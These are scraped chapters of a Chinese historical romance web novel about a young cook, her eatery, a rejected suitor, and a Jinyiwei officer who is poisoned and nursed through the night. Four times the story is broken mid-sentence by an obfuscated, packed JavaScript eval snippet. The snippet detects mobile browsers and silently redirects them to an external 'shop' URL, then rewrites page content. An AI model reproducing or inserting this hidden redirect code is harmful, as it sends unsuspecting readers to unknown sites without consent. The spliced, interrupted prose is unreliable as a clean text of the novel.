;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009220|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子暖时，早些回家休息，如此才有精力处理公务。” ：“到时，兰香与万宜不紧张，公子的家人就该紧张了。”说完，江弥杉先笑出了声。 晚回的情况，大约就是李定卓来吃饭，再者，李定卓正好奉命，那有还麻烦他人的道理。 秦绍麒哈哈笑的爽朗，开起玩笑：“那的确不好让姑成罪魁祸首。” 江弥杉展颜一笑，秦绍麒也不是那么无趣。 山路曲折，雾气渐渐散去，兰香与方万宜已经打开油纸包着的饭团，在前，边走边吃。 松软的米饭裹着香酥的炸鸡，有了香辣酱汁的衬托更加精彩，还有酸甜的酱黄瓜粒清新可口，一口下去，虽是凉的，但还是引得人想一口，再一口。 江弥杉也从包里拿出两个饭团，递至秦绍麒面前：“多做了几种口味的酱汁，公子选一个。” 秦绍麒并不介意边走边吃，江弥杉也乐得分享，包里除了饭团，还有蜜饯和采购的点心和水果。 秦绍麒选了左手的饭团：“这是？” ：“炸鸡饭团。” 本来是很像做炸鸡三明治的，但是牛乳贵，并不适合用来做小零食。 ：“有趣，只是劳烦姑娘了。” ：“突发奇想，顺便做了些，不算麻烦。” 周旺担心江弥杉照顾不好自己，午后又往市集跑了一转，买回许多物资，她推辞，周旺便红着眼说要代老爷和太太照顾好她，一应都让她带走，车行前又叮嘱她保重身体。 鸡就是其中一样，江弥杉想着炸鸡，干脆炸了做饭团。 江弥杉的同样是香辣口的，秦绍麒咬一口，是咸香，咸是酱油，香是孜然，到与烧烤相似，不过更香，味道也更和谐。 吃完一口，他道：“这一个是孜然与酱油。” 江弥杉：“我的是香辣口味。” ：“还有一个甜辣味，不晓得谁能吃得到。” 秦绍麒笑道：“无论落于谁手，想必味道都很是美味。” 江弥杉听得笑起：“公子真会说话。” 秦绍麒垂眼，语带笑意：“看人。” 江弥杉：“……” 日渐西落，几人方从山间出来，四人又乘车，骑马往京城的酒楼去。 待用过晚饭，天色已暗，秦绍麒照常送江弥杉到家，从袖中掏出一个木盒，送给江弥杉。 江弥杉推辞，秦绍麒便笑着说：“今日吃了姑娘做得许多佳味，本就该加以感谢，请姑娘收下吧，只是一支花钗，并非贵重之物。” 江弥杉道了谢，收下钗子，临别时，秦绍麒道：“江姑娘，愿你好梦。” 江弥杉展颜笑，：“也愿秦公子好梦。” 两道灯影散去，清尚街又再次被夜色笼罩。 李定卓藏在前几乎的狮子后，他无法克制，只要闲下来，一个接一个想法就崩入脑海。 江弥杉如何了？ 江弥杉与秦绍麒之间会如何？ 江弥杉…… 三个字，足以牵动他所有的心绪，他无法劝服自己习惯。 因为看到江弥杉对秦绍麒说笑之时，他只觉双目被刺得发疼，他忍不了，更别说习惯！ 忍不了，忘不掉…… 情劫难渡，不渡也罢。 24. 羊肉焖饭 假日过后，秋意愈发萧索，卷过的风泛着寒，如此时候，打开木盖，热气腾腾中，散漫出醇厚的羊肉香。 先时觉着未再尝到辣汤鳝丝可惜，但羊肉焖饭一上桌，可惜就抛诸脑后了。 在哇的感叹声中，江弥杉上完菜，转身就遇见花易仟搀扶着一位两鬓斑白的老妇人走进。 江弥杉忙提来茶壶斟茶。 文苒眼角的皱纹密叠，开口和蔼：“你是江姑娘吧？” 江弥杉想到了已经去世多年的奶妈，笑着应了是，又听文苒感慨：“年轻轻轻，不容易呐。” 花易仟喝口热茶，插进话：“江姑娘，今日有何菜啊？” 阿苒大病康愈，心心念念的便是能到江记用饭，说饭菜自然是刚出锅时更美味些，于是趁着今日天出着太阳，便带着阿苒来了江记。 ：“今日点得较多的是羊肉焖饭，配一碗羊肉汤，还有糖醋小排、鱼香豆腐皮、山药泉泥……” 老两口商量着点完菜，文苒笑着道：“若是逸儿在，就更好了。” 花易仟笑点几下头。 江弥杉回到厨间，一面说菜，一面走至放着石锅的炉灶前。 方万宜应了一声，洗起锅烧油，兰香则在放汤羹的炉灶前舀着红枣山药圆子羹。 焖饭都是取了一份就接着炖上下一份，如此才能赶得上供应。 炒香的羊腿肉，加入洋葱、土豆、胡萝卜翻炒出汁，倒水闷煮，此时锅内已香气漫漫，焦脆的洋葱条、软糯的土豆与胡萝卜块，绽出菜蔬的甜意，与羊肉彼此之间深度交融。 当汤汁浓稠，香气也渐渐融合，倒入浸泡好米粒，孜然粉层层点缀，诱人的香气攀上烫热的石锅壁。 木盖之下，浓郁的肉香已迫不及待。 一层羊肉、一层米饭，刚做完两份，灶上的两份正好冒起香烟。 江弥杉夹起石锅，放至提前备好的石垫托盘上，在将新做的放至红彤彤的炉眼。 清澈的羊肉汤撒上嫩绿的葱花、芫荽、薄荷点缀，一勺花椒粉提味，鲜香清爽。 江弥杉端着托盘走去餐桌，小心扣着石垫上的耳环，稳稳将石锅端上桌。 ：“好香呐。”浓郁又诱人的香气扑鼻而来，文苒不禁道。 花易仟：“是西域那边的做法吧？” 江弥杉笑道：“是，逛市场时瞧见有商人卖羊肉，立刻就想到了这道菜品，于是今日就推出了。” 花易仟哈哈笑两声：“那我得仔细尝尝。” 文苒瞥丈夫一眼，揭开木盖，在香气的浪涌间，放至江弥杉端着的托盘。 此时，兰香也端来蒜香肉片、蛋黄南瓜与一碟醋泡蒜。 江弥杉：“二位慢用。” 说罢，江弥杉与兰香一起离开。 ：“姑娘，再点三份山药圆子。” 两人循声看去，举手的四桌的三位食客，江弥杉回：“好，客官们稍待片刻。”说完留兰香在柜台，进了厨间。 彼边，花易仟拌匀饭。粒粒分明的米饭裹上橘黄的油汁，亮晶晶的，橘红的胡萝卜、灿黄的土豆块，边角泛着焦黄的红葱，漫漫香气已勾动舌齿，诱得人想大吃一口。 竟比他在西域吃过的还香！ 文苒已拿起木勺，平平一层，连着羊肉、胡萝卜、土豆都舀入勺内，盛起送入口中。 香软的米饭裹着一层浓郁的香汁，吃不到一丝腥膻味，羊肉的香、菜蔬的甜竟能结合的如此融洽，孜然独特的香味丝丝缕缕的融入，才一入口，这一口诱人至极的香味就在舌尖绽放出绝佳的风味，顿时宛若身处戈壁大漠，牛羊穿梭，夕阳西下，西域的胡琴缓缓在山顶奏响。 ：“嗯~”文苒闭眼，情不自禁。 花易仟也满意地点头，一口饭咽下，是要比他在西域吃到的，更香！更美味！！ 羊肉香嫩、菜蔬清甜，怎么吃，他都挑不出一点不足。 花易仟：“夫人也很满意了？” 文苒：“嗯，的确美味，怪不得你们父子两都常到此处用饭。” 花易仟：“今后也与您一块来。” 文苒轻笑两声，：“我可记下了，反悔可不行。” * 入夜，店里只剩江弥杉。 今日虽不是第二日，但锦衣卫中的人又来传话，夜里指挥使会来，于是送走最后食客，又送走秦绍麒，江弥杉打扫干净厨间，吃完红枣山药圆子，刚准备送碗进厨间，李定卓就走进食肆。 江弥杉只好放下碗，却见李定卓走上前，在面前坐下，神色与寻常无异，几乎不见任何表情波动。 江弥杉拿来茶具，斟一杯茶：“公子先暖暖身。” 李定卓端起茶盏喝一口，沉沉目光却落在江弥杉身上，：“来晚了些，抱歉。” 江弥杉轻笑：“公子公务繁忙，晚些，也不奇怪。” 江弥杉接着道：“今夜有羊肉焖饭，还有几道小菜，公子稍待片刻。” 说完，江弥杉转身，李定卓也跟着起身。 李定卓进厨房并不奇怪，江弥杉也不觉得奇怪，未太过在意，转头扫了一眼，微微一笑，走进厨房。 刚迈进厨房，江弥杉就被握住手，她诧异地转头，：“公子？” 李定卓没有回答，一步上前，来至江弥杉面前，跟着一步一步往她面前走近。 江弥杉下意识地往后退，还未搞清楚状况，直至撞上墙壁，脚尖也与黑履抵在一处，心跳得快若激动的鼓点，她未缓过神，就见那张冷脸低了下来。 情况突发，江弥杉蹙起的眉很快在对上李定卓冷冽的凤眼时松开。 平时未有察觉，这会儿一道黑影从高压下，震得心慌，她往左挪一步，路便被他结实的手臂堵住，进退不能，江弥杉扯出一个标准的笑容，：“公子，有何事要说？” 什么事，要搞成这样，非把她堵在墙上。 危机测试？ 江弥杉干咽一口，去摸袖里的匕首，但又被一句话打断。 ：“我作你的未婚夫如何？” 说话间，还有隐隐约约的酒气，江弥杉瞪大眼，眼眸都在颤动，细想反倒没有觉着甜，而是觉着疑惑。 他怎么会忽然这么说？不是没有别的意思，从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009221|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些不过是她的猜测与错觉，其实都是他奉命行事，尽忠职守的责任吗？ 怎么现在又说出这句话的？ 宫里的贵人就这么关注她？ 受不住他的目光，江弥杉垂眸：“大人说笑了。” 她盯着鞋面轻声道：“若这是奉命，请大人无需如此，弥杉已经想好对策了。” 李定卓：“不是奉命。” 江弥杉眸底闪过诧异，长睫扑扇几下，才确定没有听错，她揪住衣袖，：“那兴许是大人吃了酒·······” ：“唔！” 话未说完，江弥杉便被罩住，随之，酒气也传至她的口唇间。 江弥杉用力往李定卓身上一推，将压着的人推开，还未来的及说一句话，就被长臂扣住腰身，眼前一暗，高挺的鼻尖相错，又被再一次封锁在酒气中。 江弥杉躲，脑后又被一双冰凉的手按住，无法逃脱。 在她咬紧口齿的前一刻，就被趁虚而入扫荡，江弥杉的疑虑也在纠缠间被打消，心道一声嘴硬，但挨不住喘不过气，拍他的胸抗议，却不料直接被压上墙，结实的手臂轻松往上一提，她就跟着踮起脚，更方便李定卓行事，于是就在强势中，丢失了理智，抬手勾住他的脖颈。 李定卓一腿抵进她腿间，兴许是酒意的作弄，他只觉不够，要想将余下的甜意扫抹殆尽，堵住她胡乱揣测的话语，呼吸在攻城略地间逐渐就乱了，粗重的与她温热的鼻息交缠在一处。 紧密相接的距离，总算在江弥杉未回过神时结束，与新鲜的空气相触的一刻，她回过神，高高扬起头，喘着气，在热意传至脖颈时，道：“够了。” 然而并未叫停住，李定卓绕至侧边，含咬住，才总算感到如愿以偿，松了口。 再次四目相视，江弥杉满目秋水盈盈，对上李定卓在暗色中涌动的炽热，笑着问：“这也是奉命？”说完立刻用手捂住隐隐作痛的嘴唇。 这就是嘴硬的代价！！ 李定卓收回固在江弥杉脑后的手，贴至刚被他进犯过得耳畔，声音低沉，又带着让江弥杉耳朵一痒的磁性：“嗯，奉我的命。” 说完，李定卓退开，抬袖擦拭唇舌的湿润。 得以自由的江弥杉：“······” ， ：“你先出去吧，我还要烹饪呢。”江弥杉站直，清清嗓子，朝李定卓望去。 暧昧的气氛消散，江弥杉又冷静下来，望着李定卓看来，目光又落在她唇上，她笑道：“还不够？” 李定卓目光一愣，抬腿离开。 江弥杉挑眉，之前还嘴硬，干扰得她怀疑判断…… 想着，江弥杉轻哼了一声，转身去做菜。 外间，李定卓握着茶盏猛灌一口水，妄图浇灭体内的躁动。 但蹿起的火苗亦是顽固，燎着心，灼着脑，丝毫未有消停的架势。 他只感觉，相触的一颗，他无法克制，脑内绷着的弦也断了，是本能的趋势，就宛若蜜蜂本能地在花朵探索。 正当他回味时，江弥杉端着餐食走出，笑着说：“口中有味不许碰我。” 25. 羊肉焖饭 熄灭堂内的烛火，廊下一点葳蕤灯亮，将暗夜中的眼眸衬出星点，再一想起他之前的话，江弥杉心内哼了一声，提着灯笼走出江记，锁上门。 并肩走下楼梯，李定卓先开了口：“我会与你提亲。” 江弥杉仰头，却问，：“真不是奉旨？” 没头没尾的，前些时候还嘴硬不承认，让她别多想，今天就堵着她，这会儿又说提亲，闪婚也没如快。 情况突然，江弥杉总觉得不对劲，再者她对李定卓的了解浅薄，还不足够能令她点头。 李定卓垂眸：“不是，是我本意。” 江弥杉摇头，拒绝：“你我之间相处时日尚少，彼此相知不足，婚姻大事，理当慎重，当下便提亲，太过着急了些。” 李定卓眉心蹙起，握着灯笼的掌心也也跟着收紧，有秦绍麒在前，他事先做好了心理准备的。 可当她亲口说出，心中还是暗暗涌上酸涩，疑问到了舌尖，只差一步就脱口问出，残存的理智却拉了回来，吞咽而下。 他不能说是他忍不了，他受不了，如此，他暗自窥探的事，反而惹她反感。 江弥杉则在思索秦绍麒的事。 秦绍麒直接坦率，还等着她给回复，其他事尚且能托，但此事必须得快些处理，不能耽误人家。 要找一个合适的时机，将话说明白，至于怎么说，她还得细想想。 心思各异，两人一路几乎没多说什么，李定卓不善言辞，江弥杉则在思索回绝的话。 只在最后江弥杉转身要走时，李定卓伸手，隔衣握住江弥杉的手腕。 江弥杉不明他要在街上做什么，却觉得腕间格外烫热，抬眼望去，对上李定卓露着暗热的眼眸。 终于，李定卓开口，：“总不能，无名无分。” 说完，就将江弥杉拉往面身前，有了几分力，握着手，盯着等她要答复。 江弥杉尚招架得住，想出大概与男女朋友相近的词，嘴角噙笑：“情人。” 成婚了是夫妻，定亲了的是未婚夫妻，情人，这个词，多是在审问时用上，那些关系暧昧，不是夫妻，却行夫妻之事的人。 李定卓眸色又暗，重复念一遍：“情人。” 江弥杉看他似有不满，补充：“正经的情人。” ：“不正经的呢？” ：“……红杏出墙。” 李定卓目光顺着她的眼，滑下精致的鼻，落至饱满的唇，若有所思地在上辗转反侧。 江弥杉往四处观望一圈，瞅着无人，被那道目光烧的慌，干脆踮起脚尖，轻轻凑至李定卓的唇角，雪点般的一落，又收回，迅速抿住唇。 她能自控，李定卓不一定，男女朋友间，亲亲是正常的。 李定卓眸中光彩一凝，一向静若冰壁大王目池，从中心，裂出波纹，随着冰壁破碎，坠入安静的池中，漾起大小波纹。 只是看她抿唇，纵使有心，也未勉强，但悸动难耐，弯下在她眉心轻落一下。 ：“还你。”李定卓嘴角扬起一抹不可察的笑意。 江弥杉抿着的唇松散，头一回受不住他晦暗不明的眸色，垂下眼，轻声道：“我要回去了。” 李定卓松开手，捻磨起指尖未散的温软触感，喉结不住向下滑动，低压的嗯了应一声，就见江弥杉转身快步走离。 江弥杉双手握紧，耳廓烫热，她小碎步离开，打开门前，又回头望一眼身后含笑的人，快速收回目光，打开道缝，钻进去。 不经撩啊，不经撩，李定卓像厨间那样她都禁得住，这会儿，吻眉心反倒脸红心跳。 她竟然吃这套！ ＊ 第二日夜里，李定卓没有来食肆，传话来说是去了京郊。 晚饭时分，食肆正是热闹，江弥杉刚上完羊肉石锅饭，刚转身，就见秦绍麒信步走来。 出于保守，江弥杉没有将李定卓的事告诉兰香与万宜，以防万一之后崩了，彼此间也不会有负担。 因此，当秦绍麒坐下时，兰香兴奋提起茶壶，走过去，近距离打探江弥杉与秦绍麒，斟好茶，越发觉得相配，笑盈盈地离开，去厨间与万宜分享。 秦绍麒点了羊肉焖饭与两道小菜，江弥杉笑着应下，心里想的却是待他吃完再说。 留个好心情吃饭，填饱肚子也是待客之道。 待江弥杉端上羊肉焖饭、醋溜山药、孜然肉片，不过片刻。 石锅壁与米饭相贴，还在滋滋响，揭开盖子时，热气扑鼻而来，携着羊肉的风味，从鼻息冲入大脑，使人一刻都难忍下。 江弥杉嘴角扬笑意：“公子拌匀吃即可。” 秦绍麒笑容温和：“好，姑娘去休息吧。” 本该速断速决的事，江弥杉却生出一丝惋惜。 秦绍麒很好，温文儒雅又风度翩翩，还不死板，可惜，她对这款并没有产生想和他谈恋爱的想法。 李定卓，勉强有一点…… 要是在上辈子，江弥杉停止发散，上辈子她忙于比赛和餐厅，几乎没有在感情上花时间。 无人点菜，江弥杉至柜台坐下，这时兰香走出来，眯眼直笑，拖凳子在弥杉身边坐下。 江弥杉问：“怎么了？” 兰香凑近，小声道：“姑娘，若是错过了好姻缘，太可惜了。” 万宜让她少在姑娘面前提这些，否则会给姑娘徒增苦恼。 可秦公子与姑娘很相配呐…… 错过了多可惜呐！ 江弥杉转脸望向兰香，看她迅速往秦绍麒的方向瞟一眼，暗暗叹口气，决定还是先透露一下，惋惜地轻声道：“兰香，其实我与李定卓，互通心意了。” 下一刻，兰香笑意盈盈的眉眼间，眉头一抖，笑意碎裂，满眼换成无可掩饰的即刻被震惊，红唇张开，半天说不出一句话。 呆了片刻，兰香窜起身，往厨间快步走进。 看兰香的反应，江弥杉觉着适才之前隐瞒的想法是多虑了，应该早些说才是，某种意义上来说，站错人，也是刺激。 江弥杉站起身跟进去安慰，刚进去，就听兰香与方万宜道：“你猜对了！” 江弥杉诧异地望向方万宜。 三人的目光对在一起，外面忽传来两声：“掌柜，来两份银耳枣丸羹！” ：“掌柜，结账。” 厨间又各自忙碌，兰香拿碗，方万宜盛羹汤，江弥杉则去外结账。 秦绍麒此刻吃得正是欣悦，香软的米饭吸饱羊肉的醇香与菜蔬的清甜，孜然味又增一抹西域美风情，几种味道既融洽，又各具特色，都精彩的呈现在口唇之中。 羊肉香嫩、土豆与胡萝卜软棉，红葱甜冲，在一勺米饭里，各自绽放出最佳的口感，合在一起，如此完满。 说美味还太简单，那是一种抓住人心的味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009222|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道，浓郁、热烈，令人无法抗拒。 这一季正好是吃羊肉的时候，京城的酒楼大多是实行烤、涮，用来焖饭的却少有。 少有，但却做得极好，吃着饭，都似西域的黄沫中骑骆驼行走。 秦绍麒一口接一口地吃着，最后碗中一粒米都不剩。 待结账时，江弥杉笑道：“公子，借一步说话。” 秦绍麒猜到弥杉应该是要给回答，便跟在江弥杉身边走出食肆，至前方不远处的四下无人的路旁。 江弥杉：“公子是我见过的人之中，最温文尔雅的，气若青竹，风度翩翩，若公子不介意，我二人，可作好友或是知己。” 不谈恋爱，做朋友，也多个靠山…… 秦绍麒眼内划过一抹错愕，他未想到，江弥杉会拒绝，在她说出借一步说话时，他满心以为，弥杉会答应。 如此，他即刻找官媒婆上门提亲，八抬大轿，风风光光的迎娶弥杉。 当下看，不过是他想得太过美好，她短短几句话，就乱了他的心绪。 难掩失意，秦绍麒心内苦涩，还是微微一笑：“我明白，好友也可。” 他不想给江弥杉太多负担，毕竟回绝比接受更难。 闻言，江弥杉松了口气，虽然也知晓秦绍麒不是胡搅蛮缠的人，但感情的事，谁也说不准。 就像一反常态的李定卓。 江弥杉：“能与公子结交成友，是我的幸事。” 秦绍麒：“能与姑娘相识，是再下的福气。” 两人同时轻笑一声，秦绍麒道：“店里想必忙碌，姑娘请回吧。” 江弥杉蹲身行一礼：“告辞了，公子也快些回家吧。” 说完，江弥杉小跑离开。 直至那抹身影消失在眼前，秦绍麒忽觉是如此可望可不即，痛，却并非是剧痛。 而是丝丝缕缕的痛意，穿梭在心间，织成乱麻，一思索，就隐隐作痛。 又站了一会儿，秦绍麒无奈地一笑，笑声中难掩伤情，低头覆手离开。 夜渐深，虽累了一日，但三人都未各自回屋，而是聚在树下。 兰香先道：“姑娘，你与李公子是何时的事？” 方万宜从始至终就觉得，江弥杉与李定卓之间不寻常，也望着江弥杉。 江弥杉老实交代：“昨夜……” 兰香诧异：“啊？” 方万宜问：“是李公子主动袒露心迹的吧？” 江弥杉点头：“是他，我都有些被吓到了。” 方万宜笑起：“姑娘，其实李公子待你是不同与旁人的。” 兰香：“……可他阴晴不定，是活阎王。” 方万宜望向江弥杉：“对姑娘，他不是活阎王。” 江弥杉很无奈，：“这些我都有感受，可最初，我问他，他说只是奉命，昨夜又突然说这些……，我总感觉他就像被突然下达命令了一般。” 方万宜：“情到深处不可抑，兴许是因为这个。” 兰香抱手：“万宜，你很了解嘛。” 方万宜颜色不变：“从前在酒楼时，见过许多，私奔的、进京寻情郎的、捉……”说到此处，方万宜止住。 ：“大多，都是为了一个情字。” 兰香想了会儿，还是觉得奇怪：“不可抑，为何从前可抑，突然就不可抑了？” 江弥杉拍桌：“是啊！” 26. 蒸蛋与白粥 心中虽有疑问，但李定卓在京郊，几日都未回来，江弥杉便没有过多未纠结，只等着到他来，在打探。 夜里风急，江弥杉收拾好蒸出炉的酸菜包，捏着一个往外走。 此时，两下敲门声咚咚传来。 当下时间已不早，江弥杉觉着奇怪，拿出匕首，走去开门。 来的人却周旺，脸上满是慌张，门一开，他先跪下，：“姑娘，深夜打扰，还请姑娘原谅。” 江弥杉忙扶起他，看他的模样，猜想道应该是李定卓出了事，虽然慌，但还是稳住了，轻声问：“周伯伯，京郊出何事了” 周旺拧着眉头，满眼慌急，话语间也又急，又哀：“大人，大人中毒了。” 江弥杉却没猜到是中毒，眉心惊得顿时蹙起，没等她问，又听周旺继续道：“镇抚司的药师说是剧毒，当下服了解药，但仍是命悬一线。” ：“大人情况不安稳，双亲叫完，便叫姑娘。” ：“大人的本意不许告诉姑娘，是老奴自作主张，跑来请姑娘的。” 江弥杉脑里只剩下剧毒、命悬一线，刺耳的凉，堪比寒风，犹如一把大手就掐住了心。 心中颤了又颤，震动着江弥杉久未回过神，短刃便在她未来得及反应时掉落。 铛的一声，江弥杉眼帘轻颤了几下，才回过神，唇边的肌肤轻抖了几下，她干咽一口，尽力维持冷静。 但说话时，声音却还是无法克制地颤抖：“周伯伯稍待片刻，我与兰香交代一声。” 说完，她大步跑离，往兰香的屋子的去。 三言两语说清楚，若是明日她没回来，食肆那边，可酌情减菜。 交代完事情，江弥杉披着兰香拿的斗篷，跑至门前：“周伯伯，走吧。” 周旺驾快马，驶至京郊不过两刻钟，到了别院，周旺便带着江弥杉快步往李定卓的居苑走。 周旺领江弥杉走入屋，当下，李定卓安稳的睡着，只是面上苍白，毫无一丝血色。 周旺轻声将事情说完：“大人是在剿匪时，为了救同僚而中得箭，伤口在左胸，药师说，若是在偏一丝，就会直中心脏。” 话音落，床上的人一声闷哼，适才还平静的脸，这会儿已皱了起来，只是片刻，嘴角就流出一道血。 周旺立刻去拧榻边木椅上浸泡的帕巾。 黑红的血甚是刺眼，待被帕巾擦拭后，江弥杉紧紧握住手指，丝丝的痛意缠绕指腹。 她对中剧毒的映印象，仅仅停留在电视剧和万宜的味觉。 但电视剧的冲击力，远远不及亲眼所见，心宛若处在被撞响的大钟，在无声的声波中颤抖着。 江弥杉深吸几口气，才稍微平复担心与害怕纠缠在一起的心绪。 江弥杉上前，对周旺道：“周伯伯，我年轻，扛得住，你先去休息，这里我守着。” 周旺五十多岁的年纪，在这，已经是难得。 周旺捏着帕子，点了头，又说去沏茶。 大人前些日子回来，说与姑娘表露了心迹，姑娘点头答应了，大人面上虽无波动，但他晓得，大人必定是欣悦的，因为大人将翡翠手镯找了出来，是要送给姑娘。 江弥杉接过手帕，俯身擦拭李定卓唇边的血，周旺轻轻退出卧房。 看李定卓难耐至极，江弥杉不知能做些什么，缓解他的痛苦，咬紧唇，擦拭他唇瓣又溢出的血滴。 忽然，她想起曾经哼过的歌谣，那首李定卓的娘亲哼过的歌谣。 四下无人，她回忆了一会儿曲调，坐至榻边的软凳，一面轻轻哼唱，一面擦拭血迹。 但李定卓更加不适，先前还能平躺着，当下四肢砸动，身子也在发颤，整个人犹如被雨淋湿了了一般，流汗立刻浸湿鬓边碎发。 江弥杉又重新拿一块帕子浸洗，转个身的功夫，平日身姿英武的李定卓就蜷成了一团。 从周伯口中听到挺过这一晚，只是停留字面，当真看到这一幕，若说适才只是心被大手掐住，当下便是被戳破般的痛。 江弥杉咬紧牙关，抑下那难言而喻的难受，坐至榻边，紧咬唇，擦拭刚流出的大片黑红色，颗颗泪珠却雨落似的往下掉。 雪白的软帕被黑红浸染，又顺着染红指腹，江弥杉捂住他的唇下，一手抚摸李定桌骨肌分明的后背，试图帮他缓解。 想着年少时候发烧难受，老妈哼的儿歌，江弥杉大致有些印象，也不管他听不得见，哽咽着便唱了起来。 ：“春来了，花醒了，小鸟也在歌唱了，小宝，我的小宝，天亮就笑了……” 又过一刻钟，新换的手帕也完全浸红，李定卓终于舒适了许多，展开身体。 江弥杉洗净掌上的黑红，费劲地放平李定卓的身子，拉上被褥盖严，接着用周伯新送进来的水，沾湿软帕为李定卓擦汗 夜里又反复几次，江弥杉与周旺轮值，待天亮时分，江弥杉倚着床栏，强撑着眼皮，脑子困倦似一团浆糊，还留意李定卓的情况。 忽的，她手上一重，冰凉的似被雪堆着，江弥杉忽撑起眼皮，对上那双疲态眸子，眼睛跟着一亮：“我去叫药师。” 说罢，江弥杉抽手，起身快步离开。 醒来时，朦胧之中，李定卓第一眼便是江弥杉疲惫的容颜，宛若梦境，极为迷幻，他试图探寻是否属实，结果却出乎意料。 李定卓先是诧异，江弥杉竟在照看他，又回忆起昨日夜里在晦暗不明的梦境中，隐隐约约听到的轻柔歌声。 那个安抚着他魂魄的歌声不是源于地狱，也并非来源于天堂，而是源于江弥杉，她那时就在他身边。 应该是周伯违背了他的话，去请江弥杉，而她竟也来了！ 江弥杉的心里，是有他的一方位置的吧…… 想及此处，心底又慢慢泛上缕缕舞动的欣悦。 江弥杉…… 这会儿人已不在。 李定卓唇角微微扬起，恰此时，江弥杉与药师一起走进，他有恢复寻常。 药师重新把过脉，道还需用药清余毒，不过在此之前，还需稍微用些清淡的食物，以免伤胃。 李定卓欲立刻吃药，江弥杉一眼扫过来，他又止住口。 ：“药师放心，我们这就去准备。” 药师留下为李定卓针灸，江弥杉则去厨房准备早食。 周旺早在厨房熬粥，见江弥杉走进，忙放下勺道：“姑娘快去歇息吧，这有我呢。” 虽说是轮值，但后面的一个半个时辰是姑娘守着的，再有前头两个时辰，别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009223|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说年轻人，就是神仙也熬不住！ 江弥杉走至灶旁，瞧一眼周旺煮得白粥，道：“周伯伯，再加一勺水，煮上半刻钟，就可起锅了。” 周旺点头，忙去舀水。 江弥杉想了想，只吃白粥，未免太清淡了些，虽然不是医生，但当下，兴许应该补充蛋白质…… 江弥杉问：“伯伯，鸡蛋在哪儿？” 周旺：“我给姑娘拿。” 江弥杉嗯了一声，接过周旺盛水的勺，倒入熬粥的砂锅，搅拌均匀，接着盖上锅盖。 周旺也快速拿了两个鸡蛋来，：“姑娘要蒸蛋呐？” 江弥杉点头：“嗯，其他的，当下也不适宜。” 说着，她拿碗，一手敲开鸡蛋，又拿筷搅打。 周旺：“姑娘快歇息去吧，蒸蛋有我盯着呢。” 江弥杉在厨间寻到温水，导入些许在搅散的蛋液中，继续搅打：“伯伯，我负责盯公子。” 不用猜都晓得，李定卓必然只会稍微吃一点，便会吃药，绝不能给他这个机会！ 周旺一愣，：“……” 此话，甚是耳熟，从前，夫人便是如此盯着老爷的。 时过境迁，却不曾想在姑娘与大人身上看到了。 周旺暗暗在心中感叹，时也，命也。 卧房内，药师刚为李定卓施过一组针，榻上的李定卓出了一身热汗。 药师正欲他换药，李定卓斟酌片刻，道：“待用完饭，再换也不迟。” 李定卓：“如何换药？” 药师大致说了一遍，便是将药膏涂抹在伤口，最后用纱布缠起，切记不要碰水。 李定卓点头，药师又嘱咐：“大人切记，定要静心修养，否则即便伤口痊愈，亦时常会伴随病痛。” 此时，江弥杉与周伯端着做好的膳食走近，遇见往外走的药师，问过好，各自别过。 李定卓倚着软枕，坐在榻上，周旺端来摆放着热气腾腾的粥食的炕桌，架至榻上。 李定卓目光落至坐在榻边，江弥杉同样也有一份一模一样的粥食。 周旺识趣地退出卧房，这时候守在里面，才是不知情趣。 江弥杉笑眼弯弯：“公子，定要吃饱。” 李定卓：“……” 江弥杉饿得不行，说完就转身，一口接一口的吃粥。 李定卓又坐了一会儿，再次对上江弥杉投来的目光，才拿起勺，盛粥吃。 浓稠的米粥绵软细腻，米香浓浓，却不似从前那般，米粒还夹着硬感，与周旺煮的很不同，应当是江弥杉操作过了。 也不知怎么了，他才觉得饿，觉着甚是饥饿。 李定卓又舀一勺炖的金黄的嫩鸡蛋，入口即化，咸香软滑。 吃过饭，江弥杉挪至榻边，蹙着眉，盯着那双黑眸。 看她有话要说，李定卓问：“怎么？” 江弥杉：“日后不许瞒我，怕我担心也不许。” 